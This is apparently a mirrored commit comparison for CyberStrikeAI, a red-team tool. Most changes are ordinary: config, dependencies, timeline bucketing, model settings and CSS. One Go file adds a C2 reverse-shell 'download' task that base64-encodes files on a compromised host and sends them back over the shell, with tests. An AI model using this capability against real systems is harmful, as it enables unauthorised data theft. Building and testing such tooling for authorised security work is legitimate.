mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-08 15:24:00 +02:00
Compare commits
18 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 60b0bb3252 | |||
| 3b9e5f3b1c | |||
| 1a9694b216 | |||
| a1c7e0dc7d | |||
| 23e08b1697 | |||
| 9002505569 | |||
| b1aaaa79c7 | |||
| 4edbeb8f2d | |||
| 5b5a532d4f | |||
| c1bd94684c | |||
| 8b48e5e396 | |||
| c2f8ebc743 | |||
| 15e1a15671 | |||
| 5c3b157159 | |||
| e5f6175277 | |||
| 1dc5d18fb3 | |||
| 00ea3d7a9c | |||
| 8d48ccdfe4 |
+3
-3
@@ -10,7 +10,7 @@
|
|||||||
# ============================================
|
# ============================================
|
||||||
|
|
||||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||||
version: "v1.6.31"
|
version: "v1.6.32"
|
||||||
# 服务器配置
|
# 服务器配置
|
||||||
server:
|
server:
|
||||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||||
@@ -310,7 +310,7 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
|
|||||||
project:
|
project:
|
||||||
enabled: true
|
enabled: true
|
||||||
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
|
||||||
fact_index_max_runes: 3500
|
fact_index_max_runes: 6500
|
||||||
fact_summary_max_runes: 240
|
fact_summary_max_runes: 2400
|
||||||
default_inject_deprecated: false
|
default_inject_deprecated: false
|
||||||
|
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ require (
|
|||||||
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
|
||||||
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
|
||||||
github.com/creack/pty v1.1.24
|
github.com/creack/pty v1.1.24
|
||||||
|
github.com/disintegration/imaging v1.6.2
|
||||||
github.com/eino-contrib/jsonschema v1.0.3
|
github.com/eino-contrib/jsonschema v1.0.3
|
||||||
github.com/gin-gonic/gin v1.9.1
|
github.com/gin-gonic/gin v1.9.1
|
||||||
github.com/google/uuid v1.6.0
|
github.com/google/uuid v1.6.0
|
||||||
@@ -49,7 +50,6 @@ require (
|
|||||||
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
|
||||||
github.com/cloudwego/base64x v0.1.6 // indirect
|
github.com/cloudwego/base64x v0.1.6 // indirect
|
||||||
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
|
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
|
||||||
github.com/disintegration/imaging v1.6.2 // indirect
|
|
||||||
github.com/dlclark/regexp2 v1.10.0 // indirect
|
github.com/dlclark/regexp2 v1.10.0 // indirect
|
||||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||||
github.com/evanphx/json-patch v0.5.2 // indirect
|
github.com/evanphx/json-patch v0.5.2 // indirect
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 178 KiB After Width: | Height: | Size: 262 KiB |
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
cleaned := cleanShellOutput(output, cmd)
|
cleaned := cleanShellOutput(output, cmd)
|
||||||
|
if TaskType(env.TaskType) == TaskTypeDownload {
|
||||||
|
if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
|
||||||
|
l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
||||||
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
|
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;download 通过 base64 输出文本结果,
|
||||||
// 需要二进制传输的能力建议使用 http_beacon。
|
// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
|
||||||
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
||||||
switch t {
|
switch t {
|
||||||
case TaskTypeExec, TaskTypeShell:
|
case TaskTypeExec, TaskTypeShell:
|
||||||
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
|
|||||||
return "", false
|
return "", false
|
||||||
}
|
}
|
||||||
return "cd " + shellQuote(path) + " && pwd", true
|
return "cd " + shellQuote(path) + " && pwd", true
|
||||||
|
case TaskTypeDownload:
|
||||||
|
path, _ := payload["remote_path"].(string)
|
||||||
|
if strings.TrimSpace(path) == "" {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
q := shellQuote(path)
|
||||||
|
return fmt.Sprintf(
|
||||||
|
`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
|
||||||
|
q,
|
||||||
|
), true
|
||||||
case TaskTypeExit:
|
case TaskTypeExit:
|
||||||
return "exit 0", true
|
return "exit 0", true
|
||||||
}
|
}
|
||||||
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
|
|||||||
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
|
||||||
|
func detectDownloadShellError(output string) string {
|
||||||
|
trimmed := strings.TrimSpace(output)
|
||||||
|
if trimmed == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(trimmed)
|
||||||
|
markers := []string{
|
||||||
|
"c2_download_err:",
|
||||||
|
"no such file",
|
||||||
|
"permission denied",
|
||||||
|
"is a directory",
|
||||||
|
"cannot open",
|
||||||
|
"not a regular file",
|
||||||
|
}
|
||||||
|
for _, m := range markers {
|
||||||
|
if strings.Contains(lower, m) {
|
||||||
|
return trimmed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
func isAddrInUse(err error) bool {
|
func isAddrInUse(err error) bool {
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return false
|
return false
|
||||||
|
|||||||
@@ -0,0 +1,43 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDetectDownloadShellError(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
output string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{name: "empty ok", output: "", want: ""},
|
||||||
|
{name: "base64 ok", output: "aGVsbG8=", want: ""},
|
||||||
|
{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
|
||||||
|
{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
|
||||||
|
{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
|
||||||
|
}
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := detectDownloadShellError(tt.output)
|
||||||
|
if got != tt.want {
|
||||||
|
t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildTCPCommandDownload(t *testing.T) {
|
||||||
|
cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
|
||||||
|
"remote_path": "/tmp/demo.txt",
|
||||||
|
})
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected download command to be supported")
|
||||||
|
}
|
||||||
|
if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
|
||||||
|
t.Fatalf("command %q should contain %q", cmd, want)
|
||||||
|
}
|
||||||
|
if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
|
||||||
|
t.Fatalf("command should validate file before base64: %q", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,6 +3,7 @@ package database
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -500,23 +501,24 @@ type CallsTimelineBucket struct {
|
|||||||
Failed int
|
Failed int
|
||||||
}
|
}
|
||||||
|
|
||||||
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
|
// truncateCallsTimelineBucket 将时间截断到趋势图桶边界(本地时区,与 handler 侧 truncateToBucket 一致)
|
||||||
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
|
func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
|
||||||
var bucketExpr string
|
t = t.In(time.Local)
|
||||||
if dailyBuckets {
|
if dailyBuckets {
|
||||||
bucketExpr = `strftime('%Y-%m-%d 00:00:00', start_time)`
|
y, m, d := t.Date()
|
||||||
} else {
|
return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
|
||||||
bucketExpr = `strftime('%Y-%m-%d %H:00:00', start_time)`
|
}
|
||||||
|
return t.Truncate(time.Hour)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
|
||||||
|
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
|
||||||
|
// 在 Go 侧按本地时区分桶,避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析(差 8h 等问题)
|
||||||
query := `
|
query := `
|
||||||
SELECT ` + bucketExpr + ` AS bucket,
|
SELECT start_time,
|
||||||
COUNT(*) AS total,
|
CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
|
||||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
|
|
||||||
FROM tool_executions
|
FROM tool_executions
|
||||||
WHERE start_time >= ?
|
WHERE start_time >= ?
|
||||||
GROUP BY bucket
|
|
||||||
ORDER BY bucket ASC
|
|
||||||
`
|
`
|
||||||
|
|
||||||
rows, err := db.Query(query, since)
|
rows, err := db.Query(query, since)
|
||||||
@@ -525,28 +527,32 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
|
|||||||
}
|
}
|
||||||
defer rows.Close()
|
defer rows.Close()
|
||||||
|
|
||||||
var buckets []CallsTimelineBucket
|
bucketMap := make(map[time.Time]struct{ total, failed int })
|
||||||
for rows.Next() {
|
for rows.Next() {
|
||||||
var bucketStr string
|
var startTime time.Time
|
||||||
var total, failed int
|
var failed int
|
||||||
if err := rows.Scan(&bucketStr, &total, &failed); err != nil {
|
if err := rows.Scan(&startTime, &failed); err != nil {
|
||||||
db.logger.Warn("加载调用趋势失败", zap.Error(err))
|
db.logger.Warn("加载调用趋势失败", zap.Error(err))
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
t, parseErr := time.ParseInLocation("2006-01-02 15:04:05", bucketStr, time.Local)
|
key := truncateCallsTimelineBucket(startTime, dailyBuckets)
|
||||||
if parseErr != nil {
|
entry := bucketMap[key]
|
||||||
t, parseErr = time.Parse("2006-01-02 15:04:05", bucketStr)
|
entry.total++
|
||||||
if parseErr != nil {
|
entry.failed += failed
|
||||||
db.logger.Warn("解析趋势时间桶失败", zap.String("bucket", bucketStr), zap.Error(parseErr))
|
bucketMap[key] = entry
|
||||||
continue
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
|
||||||
|
for bucketTime, counts := range bucketMap {
|
||||||
buckets = append(buckets, CallsTimelineBucket{
|
buckets = append(buckets, CallsTimelineBucket{
|
||||||
BucketTime: t,
|
BucketTime: bucketTime,
|
||||||
Total: total,
|
Total: counts.total,
|
||||||
Failed: failed,
|
Failed: counts.failed,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
sort.Slice(buckets, func(i, j int) bool {
|
||||||
|
return buckets[i].BucketTime.Before(buckets[j].BucketTime)
|
||||||
|
})
|
||||||
return buckets, nil
|
return buckets, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
|
|||||||
}
|
}
|
||||||
|
|
||||||
if mode == "off" {
|
if mode == "off" {
|
||||||
|
applyThinkingDisabled(cfg)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
effort := effectiveEffort(sr, client, allowClient)
|
effort := effectiveEffort(sr, client, allowClient)
|
||||||
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
|
func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
|
||||||
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
|
if cfg == nil {
|
||||||
if mode == "off" {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if cfg.ExtraFields == nil {
|
||||||
|
cfg.ExtraFields = make(map[string]any)
|
||||||
|
}
|
||||||
|
if _, exists := cfg.ExtraFields["thinking"]; exists {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
|
||||||
|
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
|
||||||
if mode == "auto" || mode == "on" {
|
if mode == "auto" || mode == "on" {
|
||||||
if cfg.ExtraFields == nil {
|
if cfg.ExtraFields == nil {
|
||||||
cfg.ExtraFields = make(map[string]any)
|
cfg.ExtraFields = make(map[string]any)
|
||||||
|
|||||||
@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestApplyReasoningOff_disablesThinking(t *testing.T) {
|
||||||
|
cfg := &einoopenai.ChatModelConfig{}
|
||||||
|
oa := &config.OpenAIConfig{
|
||||||
|
BaseURL: "https://api.openai.com/v1",
|
||||||
|
Model: "gpt-4o",
|
||||||
|
Reasoning: config.OpenAIReasoningConfig{
|
||||||
|
Mode: "off",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
ApplyToEinoChatModelConfig(cfg, oa, nil)
|
||||||
|
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
|
||||||
|
if !ok || th["type"] != "disabled" {
|
||||||
|
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
|
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
|
||||||
cfg := &einoopenai.ChatModelConfig{}
|
cfg := &einoopenai.ChatModelConfig{}
|
||||||
oa := &config.OpenAIConfig{
|
oa := &config.OpenAIConfig{
|
||||||
|
|||||||
+222
-8
@@ -772,6 +772,66 @@
|
|||||||
border: 1px solid var(--c2-border);
|
border: 1px solid var(--c2-border);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#c2-file-upload-btn.is-disabled,
|
||||||
|
#c2-file-upload-btn:disabled {
|
||||||
|
opacity: 0.5;
|
||||||
|
cursor: not-allowed;
|
||||||
|
color: var(--c2-text-dim, #94a3b8);
|
||||||
|
border-color: var(--c2-border, #e2e8f0);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-hint {
|
||||||
|
font-size: 12px;
|
||||||
|
color: #b45309;
|
||||||
|
background: rgba(245, 158, 11, 0.08);
|
||||||
|
border: 1px solid rgba(245, 158, 11, 0.25);
|
||||||
|
border-radius: var(--c2-radius-xs, 4px);
|
||||||
|
padding: 8px 12px;
|
||||||
|
margin: -8px 0 12px;
|
||||||
|
line-height: 1.5;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-hint[hidden] {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 10px;
|
||||||
|
margin: -8px 0 12px;
|
||||||
|
padding: 0 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress[hidden] {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-track {
|
||||||
|
flex: 1;
|
||||||
|
height: 4px;
|
||||||
|
background: var(--c2-border);
|
||||||
|
border-radius: 2px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-fill {
|
||||||
|
height: 100%;
|
||||||
|
width: 0;
|
||||||
|
background: var(--c2-accent, #3b82f6);
|
||||||
|
transition: width 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-label {
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
white-space: nowrap;
|
||||||
|
max-width: 220px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
.c2-file-list {
|
.c2-file-list {
|
||||||
background: var(--c2-surface);
|
background: var(--c2-surface);
|
||||||
border-radius: var(--c2-radius);
|
border-radius: var(--c2-radius);
|
||||||
@@ -1218,32 +1278,172 @@
|
|||||||
Task Detail Modal
|
Task Detail Modal
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
.c2-task-detail { line-height: 2; }
|
.c2-modal.c2-modal--wide {
|
||||||
.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; }
|
max-width: 720px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-header {
|
||||||
|
align-items: flex-start;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-heading {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 12px;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-heading h3 {
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-detail {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-detail-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(2, minmax(0, 1fr));
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
|
padding: 12px 14px;
|
||||||
|
background: var(--c2-surface-alt);
|
||||||
|
border: 1px solid var(--c2-border);
|
||||||
|
border-radius: var(--c2-radius-sm);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__label {
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: 600;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--c2-text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value {
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--c2-text);
|
||||||
|
word-break: break-all;
|
||||||
|
line-height: 1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value--mono {
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value--accent {
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--c2-accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-timeline {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(3, minmax(0, 1fr));
|
||||||
|
gap: 10px;
|
||||||
|
padding: 14px 16px;
|
||||||
|
background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
|
||||||
|
border: 1px solid rgba(59, 130, 246, 0.14);
|
||||||
|
border-radius: var(--c2-radius-sm);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-time-card {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-time-card:not(:last-child) {
|
||||||
|
padding-right: 10px;
|
||||||
|
border-right: 1px solid rgba(59, 130, 246, 0.12);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-section,
|
||||||
|
.c2-task-error-section {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-header {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-title {
|
||||||
|
font-size: 12px;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
.c2-task-error {
|
.c2-task-error {
|
||||||
color: var(--c2-red);
|
color: var(--c2-red);
|
||||||
padding: 14px;
|
padding: 14px 16px;
|
||||||
background: var(--c2-red-dim);
|
background: var(--c2-red-dim);
|
||||||
border: 1px solid rgba(239, 68, 68, 0.15);
|
border: 1px solid rgba(239, 68, 68, 0.15);
|
||||||
border-radius: var(--c2-radius-sm);
|
border-radius: var(--c2-radius-sm);
|
||||||
margin-top: 12px;
|
|
||||||
font-size: 13px;
|
font-size: 13px;
|
||||||
|
line-height: 1.55;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-word;
|
||||||
}
|
}
|
||||||
|
|
||||||
.c2-task-result pre {
|
.c2-task-result-pre,
|
||||||
|
.c2-task-command-pre {
|
||||||
background: #0f172a;
|
background: #0f172a;
|
||||||
color: #e2e8f0;
|
color: #e2e8f0;
|
||||||
padding: 16px;
|
padding: 14px 16px;
|
||||||
border-radius: var(--c2-radius-sm);
|
border-radius: var(--c2-radius-sm);
|
||||||
overflow-x: auto;
|
overflow-x: auto;
|
||||||
font-family: var(--c2-mono);
|
font-family: var(--c2-mono);
|
||||||
font-size: 12px;
|
font-size: 12px;
|
||||||
margin-top: 8px;
|
margin: 0;
|
||||||
max-height: 400px;
|
max-height: 360px;
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
border: 1px solid #1e293b;
|
border: 1px solid #1e293b;
|
||||||
line-height: 1.6;
|
line-height: 1.6;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-all;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-command-pre {
|
||||||
|
max-height: 140px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-command-cell {
|
||||||
|
max-width: 220px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--c2-text-muted, #64748b);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-item-compact .c2-task-command {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 0;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--c2-text-muted, #64748b);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================================
|
/* ============================================================================
|
||||||
@@ -1277,6 +1477,11 @@
|
|||||||
Modal
|
Modal
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
|
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
|
||||||
|
#c2-toast-container {
|
||||||
|
z-index: 10100 !important;
|
||||||
|
}
|
||||||
|
|
||||||
.c2-modal-overlay {
|
.c2-modal-overlay {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
top: 0; left: 0; right: 0; bottom: 0;
|
top: 0; left: 0; right: 0; bottom: 0;
|
||||||
@@ -1388,4 +1593,13 @@
|
|||||||
.c2-stats { flex-direction: column; gap: 12px; }
|
.c2-stats { flex-direction: column; gap: 12px; }
|
||||||
.c2-payload-grid { grid-template-columns: 1fr; }
|
.c2-payload-grid { grid-template-columns: 1fr; }
|
||||||
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
|
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
|
||||||
|
.c2-task-detail-grid { grid-template-columns: 1fr; }
|
||||||
|
.c2-task-timeline { grid-template-columns: 1fr; }
|
||||||
|
.c2-task-time-card:not(:last-child) {
|
||||||
|
padding-right: 0;
|
||||||
|
padding-bottom: 10px;
|
||||||
|
border-right: none;
|
||||||
|
border-bottom: 1px solid rgba(59, 130, 246, 0.12);
|
||||||
|
}
|
||||||
|
.c2-modal.c2-modal--wide { max-width: 100%; }
|
||||||
}
|
}
|
||||||
|
|||||||
+136
-14
@@ -1217,13 +1217,6 @@ header {
|
|||||||
user-select: none;
|
user-select: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
.hitl-sidebar-header-actions {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 6px;
|
|
||||||
flex-shrink: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.hitl-sidebar-body {
|
.hitl-sidebar-body {
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
max-height: 500px;
|
max-height: 500px;
|
||||||
@@ -1238,10 +1231,6 @@ header {
|
|||||||
margin-top: 0;
|
margin-top: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
.hitl-sidebar-collapsed .hitl-apply-btn {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.hitl-sidebar-heading {
|
.hitl-sidebar-heading {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
@@ -1359,6 +1348,14 @@ header {
|
|||||||
margin-bottom: 0;
|
margin-bottom: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.hitl-config-actions {
|
||||||
|
display: flex;
|
||||||
|
justify-content: flex-end;
|
||||||
|
margin-top: 14px;
|
||||||
|
padding-top: 12px;
|
||||||
|
border-top: 1px solid rgba(15, 23, 42, 0.06);
|
||||||
|
}
|
||||||
|
|
||||||
.hitl-config-label {
|
.hitl-config-label {
|
||||||
display: block;
|
display: block;
|
||||||
font-size: 12px;
|
font-size: 12px;
|
||||||
@@ -2532,8 +2529,8 @@ header {
|
|||||||
.conversation-reasoning-card-header {
|
.conversation-reasoning-card-header {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: flex-start;
|
justify-content: space-between;
|
||||||
gap: 0;
|
gap: 8px;
|
||||||
width: 100%;
|
width: 100%;
|
||||||
padding: 0;
|
padding: 0;
|
||||||
margin: 0;
|
margin: 0;
|
||||||
@@ -2548,10 +2545,34 @@ header {
|
|||||||
border-radius: 0;
|
border-radius: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
.conversation-reasoning-card-header:hover .conversation-reasoning-title {
|
.conversation-reasoning-card-header:hover .conversation-reasoning-title,
|
||||||
|
.hitl-sidebar-card-header:hover .hitl-sidebar-title {
|
||||||
color: var(--accent-color);
|
color: var(--accent-color);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.sidebar-card-chevron {
|
||||||
|
flex-shrink: 0;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
